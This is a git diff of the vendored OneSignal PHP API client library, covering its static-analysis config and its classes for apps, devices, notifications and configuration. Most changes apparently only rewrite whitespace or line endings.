--- a/vendor/norkunas/onesignal-php-api/phpstan.neon.dist +++ b/vendor/norkunas/onesignal-php-api/phpstan.neon.dist @@ -1,19 +1,19 @@ -includes: - - vendor/phpstan/phpstan-phpunit/extension.neon - -parameters: - bootstrapFiles: - - vendor/bin/.phpunit/phpunit/vendor/autoload.php - paths: - - src/ - - tests/ - tmpDir: %currentWorkingDirectory%/.phpstan - level: 8 - inferPrivatePropertyTypeFromConstructor: true - checkMissingIterableValueType: false - checkGenericClassInNonGenericObjectType: false - checkUninitializedProperties: true - ignoreErrors: - - - path: %currentWorkingDirectory%/src/Notifications.php - message: '#PHPDoc tag @param references unknown parameter: \$kind#' +includes: + - vendor/phpstan/phpstan-phpunit/extension.neon + +parameters: + bootstrapFiles: + - vendor/bin/.phpunit/phpunit/vendor/autoload.php + paths: + - src/ + - tests/ + tmpDir: %currentWorkingDirectory%/.phpstan + level: 8 + inferPrivatePropertyTypeFromConstructor: true + checkMissingIterableValueType: false + checkGenericClassInNonGenericObjectType: false + checkUninitializedProperties: true + ignoreErrors: + - + path: %currentWorkingDirectory%/src/Notifications.php + message: '#PHPDoc tag @param references unknown parameter: \$kind#' diff --git a/vendor/norkunas/onesignal-php-api/phpunit.xml.dist b/vendor/norkunas/onesignal-php-api/phpunit.xml.dist deleted file mode 100644 index 694331eaa1..0000000000 --- a/vendor/norkunas/onesignal-php-api/phpunit.xml.dist +++ /dev/null @@ -1,19 +0,0 @@ - - - - - tests - - - - - - src - - - diff --git a/vendor/norkunas/onesignal-php-api/src/AbstractApi.php b/vendor/norkunas/onesignal-php-api/src/AbstractApi.php index 4ac2546c50..1835b69371 100644 --- a/vendor/norkunas/onesignal-php-api/src/AbstractApi.php +++ b/vendor/norkunas/onesignal-php-api/src/AbstractApi.php @@ -1,48 +1,48 @@ -client = $client; - } - - protected function createRequest(string $method, string $uri): RequestInterface - { - $request = $this->client->getRequestFactory()->createRequest($method, OneSignal::API_URL.$uri); - $request = $request->withHeader('Accept', 'application/json'); - - return $request; - } - - /** - * @param mixed $value - */ - protected function createStream($value, int $flags = null, int $maxDepth = 512): StreamInterface - { - $flags = $flags ?? (JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP | JSON_HEX_QUOT | JSON_PRESERVE_ZERO_FRACTION); - - try { - $value = json_encode($value, $flags | JSON_THROW_ON_ERROR, $maxDepth); - } catch (JsonException $e) { - throw new InvalidArgumentException("Invalid value for json encoding: {$e->getMessage()}."); - } - - return $this->client->getStreamFactory()->createStream($value); - } -} +client = $client; + } + + protected function createRequest(string $method, string $uri): RequestInterface + { + $request = $this->client->getRequestFactory()->createRequest($method, OneSignal::API_URL.$uri); + $request = $request->withHeader('Accept', 'application/json'); + + return $request; + } + + /** + * @param mixed $value + */ + protected function createStream($value, int $flags = null, int $maxDepth = 512): StreamInterface + { + $flags = $flags ?? (JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP | JSON_HEX_QUOT | JSON_PRESERVE_ZERO_FRACTION); + + try { + $value = json_encode($value, $flags | JSON_THROW_ON_ERROR, $maxDepth); + } catch (JsonException $e) { + throw new InvalidArgumentException("Invalid value for json encoding: {$e->getMessage()}."); + } + + return $this->client->getStreamFactory()->createStream($value); + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Apps.php b/vendor/norkunas/onesignal-php-api/src/Apps.php index a3c2c86a9a..9a7eac92fa 100644 --- a/vendor/norkunas/onesignal-php-api/src/Apps.php +++ b/vendor/norkunas/onesignal-php-api/src/Apps.php @@ -1,147 +1,147 @@ -resolverFactory = $resolverFactory; - } - - /** - * Get information about application with provided ID. - * - * User authentication key must be set. - * - * @param string $id ID of your application - */ - public function getOne(string $id): array - { - $request = $this->createRequest('GET', "/apps/$id"); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getUserAuthKey()}"); - - return $this->client->sendRequest($request); - } - - /** - * Get information about all your created applications. - * - * User authentication key must be set. - */ - public function getAll(): array - { - $request = $this->createRequest('GET', '/apps'); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getUserAuthKey()}"); - - return $this->client->sendRequest($request); - } - - /** - * Create a new application with provided data. - * - * User authentication key must be set. - * - * @param array $data Application data - */ - public function add(array $data): array - { - $resolvedData = $this->resolverFactory->createAppResolver()->resolve($data); - - $request = $this->createRequest('POST', '/apps'); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getUserAuthKey()}"); - $request = $request->withHeader('Content-Type', 'application/json'); - $request = $request->withBody($this->createStream($resolvedData)); - - return $this->client->sendRequest($request); - } - - /** - * Update application with provided data. - * - * User authentication key must be set. - * - * @param string $id ID of your application - * @param array $data New application data - */ - public function update(string $id, array $data): array - { - $resolvedData = $this->resolverFactory->createAppResolver()->resolve($data); - - $request = $this->createRequest('PUT', "/apps/$id"); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getUserAuthKey()}"); - $request = $request->withHeader('Content-Type', 'application/json'); - $request = $request->withBody($this->createStream($resolvedData)); - - return $this->client->sendRequest($request); - } - - /** - * Create a new segment for application with provided data. - * - * @param string $appId ID of your application - * @param array $data Segment Data - */ - public function createSegment($appId, array $data): array - { - $resolvedData = $this->resolverFactory->createSegmentResolver()->resolve($data); - - $request = $this->createRequest('POST', "/apps/$appId/segments"); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); - $request = $request->withHeader('Content-Type', 'application/json'); - $request = $request->withBody($this->createStream($resolvedData)); - - return $this->client->sendRequest($request); - } - - /** - * Delete existing segment from your application. - * - * Application auth key must be set. - * - * @param string $appId Application ID - * @param string $segmentId Segment ID - */ - public function deleteSegment(string $appId, string $segmentId): array - { - $request = $this->createRequest('DELETE', "/apps/$appId/segments/$segmentId"); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); - - return $this->client->sendRequest($request); - } - - /** - * View the details of all the outcomes associated with your app. - * - * @param string $appId Application ID - * @param array $data Outcome data filters - */ - public function outcomes(string $appId, array $data): array - { - $resolvedData = $this->resolverFactory->createOutcomesResolver()->resolve($data); - - $queryString = preg_replace('/%5B\d+%5D/', '%5B%5D', http_build_query($resolvedData)); - - $request = $this->createRequest('GET', "/apps/$appId/outcomes?$queryString"); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); - - return $this->client->sendRequest($request); - } -} +resolverFactory = $resolverFactory; + } + + /** + * Get information about application with provided ID. + * + * User authentication key must be set. + * + * @param string $id ID of your application + */ + public function getOne(string $id): array + { + $request = $this->createRequest('GET', "/apps/$id"); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getUserAuthKey()}"); + + return $this->client->sendRequest($request); + } + + /** + * Get information about all your created applications. + * + * User authentication key must be set. + */ + public function getAll(): array + { + $request = $this->createRequest('GET', '/apps'); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getUserAuthKey()}"); + + return $this->client->sendRequest($request); + } + + /** + * Create a new application with provided data. + * + * User authentication key must be set. + * + * @param array $data Application data + */ + public function add(array $data): array + { + $resolvedData = $this->resolverFactory->createAppResolver()->resolve($data); + + $request = $this->createRequest('POST', '/apps'); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getUserAuthKey()}"); + $request = $request->withHeader('Content-Type', 'application/json'); + $request = $request->withBody($this->createStream($resolvedData)); + + return $this->client->sendRequest($request); + } + + /** + * Update application with provided data. + * + * User authentication key must be set. + * + * @param string $id ID of your application + * @param array $data New application data + */ + public function update(string $id, array $data): array + { + $resolvedData = $this->resolverFactory->createAppResolver()->resolve($data); + + $request = $this->createRequest('PUT', "/apps/$id"); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getUserAuthKey()}"); + $request = $request->withHeader('Content-Type', 'application/json'); + $request = $request->withBody($this->createStream($resolvedData)); + + return $this->client->sendRequest($request); + } + + /** + * Create a new segment for application with provided data. + * + * @param string $appId ID of your application + * @param array $data Segment Data + */ + public function createSegment($appId, array $data): array + { + $resolvedData = $this->resolverFactory->createSegmentResolver()->resolve($data); + + $request = $this->createRequest('POST', "/apps/$appId/segments"); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); + $request = $request->withHeader('Content-Type', 'application/json'); + $request = $request->withBody($this->createStream($resolvedData)); + + return $this->client->sendRequest($request); + } + + /** + * Delete existing segment from your application. + * + * Application auth key must be set. + * + * @param string $appId Application ID + * @param string $segmentId Segment ID + */ + public function deleteSegment(string $appId, string $segmentId): array + { + $request = $this->createRequest('DELETE', "/apps/$appId/segments/$segmentId"); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); + + return $this->client->sendRequest($request); + } + + /** + * View the details of all the outcomes associated with your app. + * + * @param string $appId Application ID + * @param array $data Outcome data filters + */ + public function outcomes(string $appId, array $data): array + { + $resolvedData = $this->resolverFactory->createOutcomesResolver()->resolve($data); + + $queryString = preg_replace('/%5B\d+%5D/', '%5B%5D', http_build_query($resolvedData)); + + $request = $this->createRequest('GET', "/apps/$appId/outcomes?$queryString"); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); + + return $this->client->sendRequest($request); + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Config.php b/vendor/norkunas/onesignal-php-api/src/Config.php index 10445d30e4..a027baf2c7 100644 --- a/vendor/norkunas/onesignal-php-api/src/Config.php +++ b/vendor/norkunas/onesignal-php-api/src/Config.php @@ -1,43 +1,43 @@ -applicationId = $applicationId; - $this->applicationAuthKey = $applicationAuthKey; - $this->userAuthKey = $userAuthKey; - } - - /** - * Get OneSignal application id. - */ - public function getApplicationId(): string - { - return $this->applicationId; - } - - /** - * Get OneSignal application authentication key. - */ - public function getApplicationAuthKey(): string - { - return $this->applicationAuthKey; - } - - /** - * Get user authentication key. - */ - public function getUserAuthKey(): ?string - { - return $this->userAuthKey; - } -} +applicationId = $applicationId; + $this->applicationAuthKey = $applicationAuthKey; + $this->userAuthKey = $userAuthKey; + } + + /** + * Get OneSignal application id. + */ + public function getApplicationId(): string + { + return $this->applicationId; + } + + /** + * Get OneSignal application authentication key. + */ + public function getApplicationAuthKey(): string + { + return $this->applicationAuthKey; + } + + /** + * Get user authentication key. + */ + public function getUserAuthKey(): ?string + { + return $this->userAuthKey; + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Devices.php b/vendor/norkunas/onesignal-php-api/src/Devices.php index faf727d3f7..12e12a5e62 100644 --- a/vendor/norkunas/onesignal-php-api/src/Devices.php +++ b/vendor/norkunas/onesignal-php-api/src/Devices.php @@ -1,224 +1,224 @@ -resolverFactory = $resolverFactory; - } - - /** - * Get information about device with provided ID. - * - * @param string $id Device ID - */ - public function getOne(string $id): array - { - $request = $this->createRequest('GET', "/players/$id?app_id={$this->client->getConfig()->getApplicationId()}"); - - return $this->client->sendRequest($request); - } - - /** - * Get information about all registered devices for your application. - * - * Application auth key must be set. - * - * @param int $limit How many devices to return. Max is 300. Default is 300 - * @param int $offset Result offset. Default is 0. Results are sorted by id - */ - public function getAll(int $limit = null, int $offset = null): array - { - $query = ['app_id' => $this->client->getConfig()->getApplicationId()]; - - if ($limit !== null) { - $query['limit'] = $limit; - } - - if ($offset !== null) { - $query['offset'] = $offset; - } - - $request = $this->createRequest('GET', '/players?'.http_build_query($query)); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); - - return $this->client->sendRequest($request); - } - - /** - * Register a device for your application. - * - * @param array $data Device data - */ - public function add(array $data): array - { - $resolvedData = $this->resolverFactory->createNewDeviceResolver()->resolve($data); - - $request = $this->createRequest('POST', '/players'); - $request = $request->withHeader('Content-Type', 'application/json'); - $request = $request->withBody($this->createStream($resolvedData)); - - return $this->client->sendRequest($request); - } - - /** - * Update existing registered device for your application with provided data. - * - * @param string $id Device ID - * @param array $data New device data - */ - public function update(string $id, array $data): array - { - $resolvedData = $this->resolverFactory->createExistingDeviceResolver()->resolve($data); - - $request = $this->createRequest('PUT', "/players/$id"); - $request = $request->withHeader('Content-Type', 'application/json'); - $request = $request->withBody($this->createStream($resolvedData)); - - return $this->client->sendRequest($request); - } - - /** - * Delete existing registered device from your application. - * - * OneSignal supports DELETE on the players API endpoint which is not documented in their official documentation - * Reference: https://documentation.onesignal.com/docs/handling-personal-data#section-deleting-users-or-other-data-from-onesignal - * - * Application auth key must be set. - * - * @param string $id Device ID - */ - public function delete(string $id): array - { - $request = $this->createRequest('DELETE', "/players/$id?app_id={$this->client->getConfig()->getApplicationId()}"); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); - - return $this->client->sendRequest($request); - } - - /** - * Call on new device session in your app. - * - * @param string $id Device ID - * @param array $data Device data - */ - public function onSession(string $id, array $data): array - { - $resolvedData = $this->resolverFactory->createDeviceSessionResolver()->resolve($data); - - $request = $this->createRequest('POST', "/players/$id/on_session"); - $request = $request->withHeader('Content-Type', 'application/json'); - $request = $request->withBody($this->createStream($resolvedData)); - - return $this->client->sendRequest($request); - } - - /** - * Track a new purchase. - * - * @param string $id Device ID - * @param array $data Device data - */ - public function onPurchase(string $id, array $data): array - { - $resolvedData = $this->resolverFactory->createDevicePurchaseResolver()->resolve($data); - - $request = $this->createRequest('POST', "/players/$id/on_purchase"); - $request = $request->withHeader('Content-Type', 'application/json'); - $request = $request->withBody($this->createStream($resolvedData)); - - return $this->client->sendRequest($request); - } - - /** - * Increment the device's total session length. - * - * @param string $id Device ID - * @param array $data Device data - */ - public function onFocus(string $id, array $data): array - { - $resolvedData = $this->resolverFactory->createDeviceFocusResolver()->resolve($data); - - $request = $this->createRequest('POST', "/players/$id/on_focus"); - $request = $request->withHeader('Content-Type', 'application/json'); - $request = $request->withBody($this->createStream($resolvedData)); - - return $this->client->sendRequest($request); - } - - /** - * Export all information about devices in a CSV format for your application. - * - * Application auth key must be set. - * - * @param array $extraFields Additional fields that you wish to include. - * Currently supports: "location", "country", "rooted" - * @param string $segmentName A segment name to filter the scv export by. - * Only devices from that segment will make it into the export - * @param int $lastActiveSince An epoch to filter results to users active after this time - */ - public function csvExport(array $extraFields = [], string $segmentName = null, int $lastActiveSince = null): array - { - $request = $this->createRequest('POST', "/players/csv_export?app_id={$this->client->getConfig()->getApplicationId()}"); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); - $request = $request->withHeader('Content-Type', 'application/json'); - - $body = ['extra_fields' => $extraFields]; - - if ($segmentName !== null) { - $body['segment_name'] = $segmentName; - } - - if ($lastActiveSince !== null) { - $body['last_active_since'] = (string) $lastActiveSince; - } - - $request = $request->withBody($this->createStream($body)); - - return $this->client->sendRequest($request); - } - - /** - * Update an existing device's tags using the External User ID. - * - * @param string $externalUserId External User ID - * @param array $data Tags data - */ - public function editTags(string $externalUserId, array $data): array - { - $resolvedData = $this->resolverFactory->createDeviceTagsResolver()->resolve($data); - - $request = $this->createRequest('PUT', "/apps/{$this->client->getConfig()->getApplicationId()}/users/$externalUserId"); - $request = $request->withHeader('Content-Type', 'application/json'); - $request = $request->withBody($this->createStream($resolvedData)); - - return $this->client->sendRequest($request); - } -} +resolverFactory = $resolverFactory; + } + + /** + * Get information about device with provided ID. + * + * @param string $id Device ID + */ + public function getOne(string $id): array + { + $request = $this->createRequest('GET', "/players/$id?app_id={$this->client->getConfig()->getApplicationId()}"); + + return $this->client->sendRequest($request); + } + + /** + * Get information about all registered devices for your application. + * + * Application auth key must be set. + * + * @param int $limit How many devices to return. Max is 300. Default is 300 + * @param int $offset Result offset. Default is 0. Results are sorted by id + */ + public function getAll(int $limit = null, int $offset = null): array + { + $query = ['app_id' => $this->client->getConfig()->getApplicationId()]; + + if ($limit !== null) { + $query['limit'] = $limit; + } + + if ($offset !== null) { + $query['offset'] = $offset; + } + + $request = $this->createRequest('GET', '/players?'.http_build_query($query)); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); + + return $this->client->sendRequest($request); + } + + /** + * Register a device for your application. + * + * @param array $data Device data + */ + public function add(array $data): array + { + $resolvedData = $this->resolverFactory->createNewDeviceResolver()->resolve($data); + + $request = $this->createRequest('POST', '/players'); + $request = $request->withHeader('Content-Type', 'application/json'); + $request = $request->withBody($this->createStream($resolvedData)); + + return $this->client->sendRequest($request); + } + + /** + * Update existing registered device for your application with provided data. + * + * @param string $id Device ID + * @param array $data New device data + */ + public function update(string $id, array $data): array + { + $resolvedData = $this->resolverFactory->createExistingDeviceResolver()->resolve($data); + + $request = $this->createRequest('PUT', "/players/$id"); + $request = $request->withHeader('Content-Type', 'application/json'); + $request = $request->withBody($this->createStream($resolvedData)); + + return $this->client->sendRequest($request); + } + + /** + * Delete existing registered device from your application. + * + * OneSignal supports DELETE on the players API endpoint which is not documented in their official documentation + * Reference: https://documentation.onesignal.com/docs/handling-personal-data#section-deleting-users-or-other-data-from-onesignal + * + * Application auth key must be set. + * + * @param string $id Device ID + */ + public function delete(string $id): array + { + $request = $this->createRequest('DELETE', "/players/$id?app_id={$this->client->getConfig()->getApplicationId()}"); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); + + return $this->client->sendRequest($request); + } + + /** + * Call on new device session in your app. + * + * @param string $id Device ID + * @param array $data Device data + */ + public function onSession(string $id, array $data): array + { + $resolvedData = $this->resolverFactory->createDeviceSessionResolver()->resolve($data); + + $request = $this->createRequest('POST', "/players/$id/on_session"); + $request = $request->withHeader('Content-Type', 'application/json'); + $request = $request->withBody($this->createStream($resolvedData)); + + return $this->client->sendRequest($request); + } + + /** + * Track a new purchase. + * + * @param string $id Device ID + * @param array $data Device data + */ + public function onPurchase(string $id, array $data): array + { + $resolvedData = $this->resolverFactory->createDevicePurchaseResolver()->resolve($data); + + $request = $this->createRequest('POST', "/players/$id/on_purchase"); + $request = $request->withHeader('Content-Type', 'application/json'); + $request = $request->withBody($this->createStream($resolvedData)); + + return $this->client->sendRequest($request); + } + + /** + * Increment the device's total session length. + * + * @param string $id Device ID + * @param array $data Device data + */ + public function onFocus(string $id, array $data): array + { + $resolvedData = $this->resolverFactory->createDeviceFocusResolver()->resolve($data); + + $request = $this->createRequest('POST', "/players/$id/on_focus"); + $request = $request->withHeader('Content-Type', 'application/json'); + $request = $request->withBody($this->createStream($resolvedData)); + + return $this->client->sendRequest($request); + } + + /** + * Export all information about devices in a CSV format for your application. + * + * Application auth key must be set. + * + * @param array $extraFields Additional fields that you wish to include. + * Currently supports: "location", "country", "rooted" + * @param string $segmentName A segment name to filter the scv export by. + * Only devices from that segment will make it into the export + * @param int $lastActiveSince An epoch to filter results to users active after this time + */ + public function csvExport(array $extraFields = [], string $segmentName = null, int $lastActiveSince = null): array + { + $request = $this->createRequest('POST', "/players/csv_export?app_id={$this->client->getConfig()->getApplicationId()}"); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); + $request = $request->withHeader('Content-Type', 'application/json'); + + $body = ['extra_fields' => $extraFields]; + + if ($segmentName !== null) { + $body['segment_name'] = $segmentName; + } + + if ($lastActiveSince !== null) { + $body['last_active_since'] = (string) $lastActiveSince; + } + + $request = $request->withBody($this->createStream($body)); + + return $this->client->sendRequest($request); + } + + /** + * Update an existing device's tags using the External User ID. + * + * @param string $externalUserId External User ID + * @param array $data Tags data + */ + public function editTags(string $externalUserId, array $data): array + { + $resolvedData = $this->resolverFactory->createDeviceTagsResolver()->resolve($data); + + $request = $this->createRequest('PUT', "/apps/{$this->client->getConfig()->getApplicationId()}/users/$externalUserId"); + $request = $request->withHeader('Content-Type', 'application/json'); + $request = $request->withBody($this->createStream($resolvedData)); + + return $this->client->sendRequest($request); + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/Exception/BadMethodCallException.php b/vendor/norkunas/onesignal-php-api/src/Exception/BadMethodCallException.php index 229a9174fd..bee5f3bc75 100644 --- a/vendor/norkunas/onesignal-php-api/src/Exception/BadMethodCallException.php +++ b/vendor/norkunas/onesignal-php-api/src/Exception/BadMethodCallException.php @@ -1,9 +1,9 @@ -resolverFactory = $resolverFactory; - } - - /** - * Get information about notification with provided ID. - * - * Application authentication key and ID must be set. - * - * @param string $id Notification ID - */ - public function getOne(string $id): array - { - $request = $this->createRequest('GET', "/notifications/$id?app_id={$this->client->getConfig()->getApplicationId()}"); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); - - return $this->client->sendRequest($request); - } - - /** - * Get information about all notifications. - * - * Application authentication key and ID must be set. - * - * @param int $limit How many notifications to return (max 50) - * @param int $offset Results offset (results are sorted by ID) - * @param int $kind Kind of notifications returned. Default (not set) is all notification types - */ - public function getAll(int $limit = null, int $offset = null/*, int $kind = null */): array - { - if (func_num_args() > 2 && !is_int(func_get_arg(2))) { - trigger_deprecation('norkunas/onesignal-php-api', '2.1.0', 'Method %s() will have a third `int $kind` argument. Not defining it or passing a non integer value is deprecated.', __METHOD__); - } elseif (__CLASS__ !== static::class) { - $r = new ReflectionMethod($this, __FUNCTION__); - - if (count($r->getParameters()) > 2) { - trigger_deprecation('norkunas/onesignal-php-api', '2.1.0', 'Method %s() will have a third `int $kind` argument. Not defining it or passing a non integer value is deprecated.', __METHOD__); - } - } - - $query = ['app_id' => $this->client->getConfig()->getApplicationId()]; - - if ($limit !== null) { - $query['limit'] = $limit; - } - - if ($offset !== null) { - $query['offset'] = $offset; - } - - if (func_num_args() > 2 && is_int(func_get_arg(2))) { - $query['kind'] = func_get_arg(2); - } - - $request = $this->createRequest('GET', '/notifications?'.http_build_query($query)); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); - - return $this->client->sendRequest($request); - } - - /** - * Send new notification with provided data. - * - * Application authentication key and ID must be set. - */ - public function add(array $data): array - { - $resolvedData = $this->resolverFactory->createNotificationResolver()->resolve($data); - - $request = $this->createRequest('POST', '/notifications'); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); - $request = $request->withHeader('Content-Type', 'application/json'); - $request = $request->withBody($this->createStream($resolvedData)); - - return $this->client->sendRequest($request); - } - - /** - * Open notification. - * - * Application authentication key and ID must be set. - * - * @param string $id Notification ID - */ - public function open(string $id): array - { - $request = $this->createRequest('PUT', "/notifications/$id"); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); - $request = $request->withHeader('Content-Type', 'application/json'); - $request = $request->withBody($this->createStream([ - 'app_id' => $this->client->getConfig()->getApplicationId(), - 'opened' => true, - ])); - - return $this->client->sendRequest($request); - } - - /** - * Cancel notification. - * - * Application authentication key and ID must be set. - * - * @param string $id Notification ID - */ - public function cancel(string $id): array - { - $request = $this->createRequest('DELETE', "/notifications/$id?app_id={$this->client->getConfig()->getApplicationId()}"); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); - - return $this->client->sendRequest($request); - } - - /** - * View the devices sent a notification. - * - * Application authentication key and ID must be set. - * - * @param string $id Notification ID - */ - public function history(string $id, array $data): array - { - $resolvedData = $this->resolverFactory->createNotificationHistoryResolver()->resolve($data); - - $request = $this->createRequest('POST', "/notifications/$id/history"); - $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); - $request = $request->withHeader('Cache-Control', 'no-cache'); - $request = $request->withHeader('Content-Type', 'application/json'); - $request = $request->withBody($this->createStream($resolvedData)); - - return $this->client->sendRequest($request); - } -} +resolverFactory = $resolverFactory; + } + + /** + * Get information about notification with provided ID. + * + * Application authentication key and ID must be set. + * + * @param string $id Notification ID + */ + public function getOne(string $id): array + { + $request = $this->createRequest('GET', "/notifications/$id?app_id={$this->client->getConfig()->getApplicationId()}"); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); + + return $this->client->sendRequest($request); + } + + /** + * Get information about all notifications. + * + * Application authentication key and ID must be set. + * + * @param int $limit How many notifications to return (max 50) + * @param int $offset Results offset (results are sorted by ID) + * @param int $kind Kind of notifications returned. Default (not set) is all notification types + */ + public function getAll(int $limit = null, int $offset = null/*, int $kind = null */): array + { + if (func_num_args() > 2 && !is_int(func_get_arg(2))) { + trigger_deprecation('norkunas/onesignal-php-api', '2.1.0', 'Method %s() will have a third `int $kind` argument. Not defining it or passing a non integer value is deprecated.', __METHOD__); + } elseif (__CLASS__ !== static::class) { + $r = new ReflectionMethod($this, __FUNCTION__); + + if (count($r->getParameters()) > 2) { + trigger_deprecation('norkunas/onesignal-php-api', '2.1.0', 'Method %s() will have a third `int $kind` argument. Not defining it or passing a non integer value is deprecated.', __METHOD__); + } + } + + $query = ['app_id' => $this->client->getConfig()->getApplicationId()]; + + if ($limit !== null) { + $query['limit'] = $limit; + } + + if ($offset !== null) { + $query['offset'] = $offset; + } + + if (func_num_args() > 2 && is_int(func_get_arg(2))) { + $query['kind'] = func_get_arg(2); + } + + $request = $this->createRequest('GET', '/notifications?'.http_build_query($query)); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); + + return $this->client->sendRequest($request); + } + + /** + * Send new notification with provided data. + * + * Application authentication key and ID must be set. + */ + public function add(array $data): array + { + $resolvedData = $this->resolverFactory->createNotificationResolver()->resolve($data); + + $request = $this->createRequest('POST', '/notifications'); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); + $request = $request->withHeader('Content-Type', 'application/json'); + $request = $request->withBody($this->createStream($resolvedData)); + + return $this->client->sendRequest($request); + } + + /** + * Open notification. + * + * Application authentication key and ID must be set. + * + * @param string $id Notification ID + */ + public function open(string $id): array + { + $request = $this->createRequest('PUT', "/notifications/$id"); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); + $request = $request->withHeader('Content-Type', 'application/json'); + $request = $request->withBody($this->createStream([ + 'app_id' => $this->client->getConfig()->getApplicationId(), + 'opened' => true, + ])); + + return $this->client->sendRequest($request); + } + + /** + * Cancel notification. + * + * Application authentication key and ID must be set. + * + * @param string $id Notification ID + */ + public function cancel(string $id): array + { + $request = $this->createRequest('DELETE', "/notifications/$id?app_id={$this->client->getConfig()->getApplicationId()}"); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); + + return $this->client->sendRequest($request); + } + + /** + * View the devices sent a notification. + * + * Application authentication key and ID must be set. + * + * @param string $id Notification ID + */ + public function history(string $id, array $data): array + { + $resolvedData = $this->resolverFactory->createNotificationHistoryResolver()->resolve($data); + + $request = $this->createRequest('POST', "/notifications/$id/history"); + $request = $request->withHeader('Authorization', "Basic {$this->client->getConfig()->getApplicationAuthKey()}"); + $request = $request->withHeader('Cache-Control', 'no-cache'); + $request = $request->withHeader('Content-Type', 'application/json'); + $request = $request->withBody($this->createStream($resolvedData)); + + return $this->client->sendRequest($request); + } +} diff --git a/vendor/norkunas/onesignal-php-api/src/OneSignal.php b/vendor/norkunas/onesignal-php-api/src/OneSignal.php index 436a149714..3a8313a5ef 100644 --- a/vendor/norkunas/onesignal-php-api/src/OneSignal.php +++ b/vendor/norkunas/onesignal-php-api/src/OneSignal.php @@ -1,118 +1,118 @@ -config = $config; - $this->httpClient = $httpClient; - $this->requestFactory = $requestFactory; - $this->streamFactory = $streamFactory; - $this->resolverFactory = new ResolverFactory($this->config); - } - - public function getConfig(): Config - { - return $this->config; - } - - public function getRequestFactory(): RequestFactoryInterface - { - return $this->requestFactory; - } - - public function getStreamFactory(): StreamFactoryInterface - { - return $this->streamFactory; - } - - public function sendRequest(RequestInterface $request): array - { - $response = $this->httpClient->sendRequest($request); - - $contentType = $response->getHeader('Content-Type')[0] ?? 'application/json'; - - if (!preg_match('/\bjson\b/i', $contentType)) { - throw new JsonException("Response content-type is '$contentType' while a JSON-compatible one was expected."); - } - - $content = $response->getBody()->__toString(); - - try { - $content = json_decode($content, true, 512, JSON_BIGINT_AS_STRING | JSON_THROW_ON_ERROR); - } catch (\JsonException $e) { - throw new JsonException($e->getMessage(), $e->getCode(), $e); - } - - if (!is_array($content)) { - throw new JsonException(sprintf('JSON content was expected to decode to an array, %s returned.', gettype($content))); - } - - return $content; - } - - /** - * @return object - * - * @throws InvalidArgumentException - */ - public function api(string $name) - { - switch ($name) { - case 'apps': - $api = new Apps($this, $this->resolverFactory); - - break; - case 'devices': - $api = new Devices($this, $this->resolverFactory); - - break; - case 'notifications': - $api = new Notifications($this, $this->resolverFactory); - - break; - default: - throw new InvalidArgumentException("Undefined api instance called: '$name'."); - } - - return $api; - } - - public function __call(string $name, array $args): object - { - try { - return $this->api($name); - } catch (InvalidArgumentException $e) { - throw new BadMethodCallException("Undefined method called: '$name'."); - } - } -} +config = $config; + $this->httpClient = $httpClient; + $this->requestFactory = $requestFactory; + $this->streamFactory = $streamFactory; + $this->resolverFactory = new ResolverFactory($this->config); + } + + public function getConfig(): Config + { + return $this->config; + } + + public function getRequestFactory(): RequestFactoryInterface + { + return $this->requestFactory; + } + + public function getStreamFactory(): StreamFactoryInterface + { + return $this->streamFactory; + } + + public function sendRequest(RequestInterface $request): array + { + $response = $this->httpClient->sendRequest($request); + + $contentType = $response->getHeader('Content-Type')[0] ?? 'application/json'; + + if (!preg_match('/\bjson\b/i', $contentType)) { + throw new JsonException("Response content-type is '$contentType' while a JSON-compatible one was expected."); + } + + $content = $response->getBody()->__toString(); + + try { + $content = json_decode($content, true, 512, JSON_BIGINT_AS_STRING | JSON_THROW_ON_ERROR); + } catch (\JsonException $e) { + throw new 